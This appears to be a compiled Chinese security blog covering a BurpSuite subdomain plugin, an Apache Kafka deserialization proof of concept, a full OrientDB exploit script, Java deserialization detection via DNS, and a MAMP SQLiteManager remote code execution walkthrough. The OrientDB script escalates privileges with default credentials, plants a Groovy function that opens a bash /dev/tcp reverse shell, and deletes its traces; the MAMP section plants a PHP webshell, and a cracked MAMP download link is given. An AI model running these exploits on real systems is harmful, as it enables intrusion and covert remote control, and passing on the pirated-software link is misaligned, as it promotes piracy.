BurpSuite插件:利用BurpSuite Spider收集子域名和相似域名

前言

在我的域名收集知识体系中,利用爬虫来获取域名是其中的一部分(见文末思维导图,其他部分的实现请访问我的另外一个项目:https://github.com/bit4woo/Teemo ),由于使用频率,使用习惯等问题,而我最终决定使用BurpSuite的Spider来实现爬虫部分的自动化收集。所以有了这个BurpSuite插件:Domain Hunter。

原理

当使用了BurpSuite作为代理,或者使用它进行了安全测试,会就会记录相关的域名。其中,某个目标的子域名和相似域名很有价值,尤其是相似域名,往往有惊喜!插件的主要原理就是从BurpSuite的Sitemap中搜索出子域名和相似域名。也可以对已经发现的子域名进行主动爬取,以发现更多的相关域名,这个动作可以自己重复递归下去,直到没有新的域名发现为止。

项目地址

https://github.com/bit4woo/domain_hunter

Screenshot

screenshot1.png

Change Log

2017-07-28: Add a function to crawl all known subdomains; fix some bug.

Xmind Of Domain Collection

xmind.png

Apache Kafkafa反序列化漏洞

作者直接给出了漏洞Poc:CVE-IDs request for Apache Kafka desrialization vulnerability via runtime

import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public void test_Kafka_Deser() throws Exception {

        StandaloneConfig config;

        String projectDir = System.getProperty("user.dir");

        Jdk7u21 jdk7u21 = new Jdk7u21();
        Object o = jdk7u21.getObject("touch vul");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG,
tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

咨询了下研发人员,说他们代码里面没有这个class。这个反序列化应该可以用来bypass一些黑名单。类似于MarshalledObject类bypass weblogic。

通过全局搜索在源码中的测试用例也存在有漏洞的写法,不知道这个类是否有其他的使用场景?可以一起交流下。

FileOffsetBackingStore.png

搭建环境测试:

package ysoserial.exploit;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.CommonsCollections4;
import ysoserial.payloads.Jdk7u21;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class KafkaExploitTest {
    public static void test_Kafka_Deser() throws Exception {
        StandaloneConfig config;
        String projectDir = System.getProperty("user.dir");
        CommonsCollections4 cc4 = new CommonsCollections4();
        Object o = cc4.getObject("calc");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG, tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

    public static void main(String[] args) throws Exception{
        KafkaExploitTest.test_Kafka_Deser();
    }
}

Pom.xml添加依赖:

<!-- https://mvnrepository.com/artifact/org.apache.kafka/connect-runtime -->
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>connect-runtime</artifactId>
<version>0.11.0.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.kafka/connect-json -->
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>connect-json</artifactId>
<version>0.11.0.0</version>
<scope>test</scope>
</dependency>

calc.png

漏洞Demo:

[@Test](/user/Test)
   public void testSaveRestore() throws Exception {
       Callback<Void> setCallback = expectSuccessfulSetCallback();
       Callback<Map<ByteBuffer, ByteBuffer>> getCallback = expectSuccessfulGetCallback();
       PowerMock.replayAll();

       store.set(firstSet, setCallback).get();
       store.stop();

       // Restore into a new store to ensure correct reload from scratch
       FileOffsetBackingStore restore = new FileOffsetBackingStore();
       restore.configure(config);
       restore.start();
       Map<ByteBuffer, ByteBuffer> values = restore.get(Arrays.asList(buffer("key")), getCallback).get();
       assertEquals(buffer("value"), values.get(buffer("key")));

       PowerMock.verifyAll();
   }

业务序列化使用avro或者json居多。如果用jdk原生方式,应该会用到这个函数进行反序列化。

OrientDB代码执行漏洞

漏洞详情

PoC

运行Netcat

nc -lv 8081

PoC.py

import sys
import requests
import json
import string
import random
 
target = sys.argv[1]
 
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
 
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
 
 
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
def enum_databases(target,port="2480"):
 
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
 
        return database
 
    return False
 
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
 
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
 
    return False
 
def run_queries(permission,db,content=""):
 
    databases = enum_databases(target)
 
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
 
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
 
    for priv in priv_enable:
 
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
 
    print "[+] %s"%(content)
    return True
 
def priv_escalation(target,port="2480"):
 
    print "[+] Checking OrientDB Database version is greater than 2.2"
 
    if check_version(target,port):
 
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
 
        if priv1 and priv2 and priv3:
            return True
 
    return False
 
def exploit(target,port="2480"):
 
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
 
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
 
    func_name = random_function_name()
 
    print func_name
 
    databases = enum_databases(target)
 
    reverse_ip = raw_input('Enter the ip to connect back: ')
 
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
 
    if req.status_code == 201:
 
        #print req.status_code
        #print req.json()
 
        func_id = req.json()['@rid'].strip("#")
        #print func_id
 
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
 
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
 
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
 
        #print "[+] Deleting traces.."
 
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
 
        #print req.status_code
        #print req.text
 
def main():
 
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"
 
main()

命令:

python PoC.py ip [port] // 默认使用2480端口

poc1.png

poc2.png

修复方案

低漏报检测Java反序列化漏洞方法

1、不需要目标系统存在漏洞的第三方库,直接使用JDK自带的URL类发起dns请求,dns请求一般可以出网,所以漏报应该很低。

2、工具break-fast-serial,需要自己改造下把URLDNS的payload加到里面,启动dnschef

dnschef1.png

3、DNS解析设置

dns1.png

4、测试

url2.png

result1.png

5、检测到存在反序列化漏洞的点在具体进行绕过

MAMP远程代码执行漏洞

前言

MAMP 是一个集PHP,MYSQL,Apache等一体化PHP Web应用程序开发套件,今日国外研究者发现MAMP的默认的安装配置中存在远程代码执行漏洞。本文记录复现过程。

原文:Drive-by remote code execution by MAMP

环境配置

安装MAMP

  • 下载MAMP后开始安装

a6cc4662d0ba196f5413a113e1e2875a.png

  • 然后初始化时,会提示是否安装phpMyAdmin,我用不上那个没有勾选。

启动MAMP

  • 安装后不做任何修改,默认配置下启动MAMP服务

828caeccd80fde53b94eb046792b398b.png

漏洞复现

打开sqlitemanager地址:http://localhost:8888/sqlitemanager/

9375ab9b41b9312a3f1a8cc32c7fe7ca.png

利用目录跳转漏洞,漏洞位置:

0044945becdede38fb0ed450b7e1035a.png

这里没有校验写入位置和写入文件格式,可以利用…/…/在任意目录下创建你想要的文件。于是,在根路径下创建一个名为threathunter.php的数据库文件

d41f1fd545386d0ff7168f910e526a29.png

创建成功:

924f4f4883922c7b790aff105f391c16.png

下面就是常规套路,将一句话写入数据库中了。先创建一个表poc:

5f329c5e8c0dfe0385e55e6c6d4ed87b.png

指定字段名:

af9ceb2e292d7bc7d63e0633573c7e63.png

98ff56e92b681d90d974ae76d967ed2b.png

点击上面的Insert插入一条记录:

d4980a91b86bc807c6772cf0dd8c1749.png

然后保存,现在可以访问:http://localhost:8888/threathunter.php进行验证了:

597938d854d2885b7d85cc3d6eb7fb3d.png

提供一下我用的这个破解版的MAMP下载地址:

https://pan.baidu.com/s/1kU5yElp 密码: 2mnx 安装密码:macpeers

网上查了下,发现这个组件在2013年就爆出的这个漏洞。 SQLiteManager 0Day Remote PHP Code Injection Vulnerability

查看了下该组件项目最近一次更新居然远在2010年,最新版本即为1.2.4(全版本都存在那个0day),官方应该是废弃这个项目了!

acebe3db745e4961430bdfdaf8a98ab9.png

修改建议

  • 删除默认集成的老旧的sqlitemanager,默认在目录:/Applications/MAMP/bin/SQLiteManager删掉即可。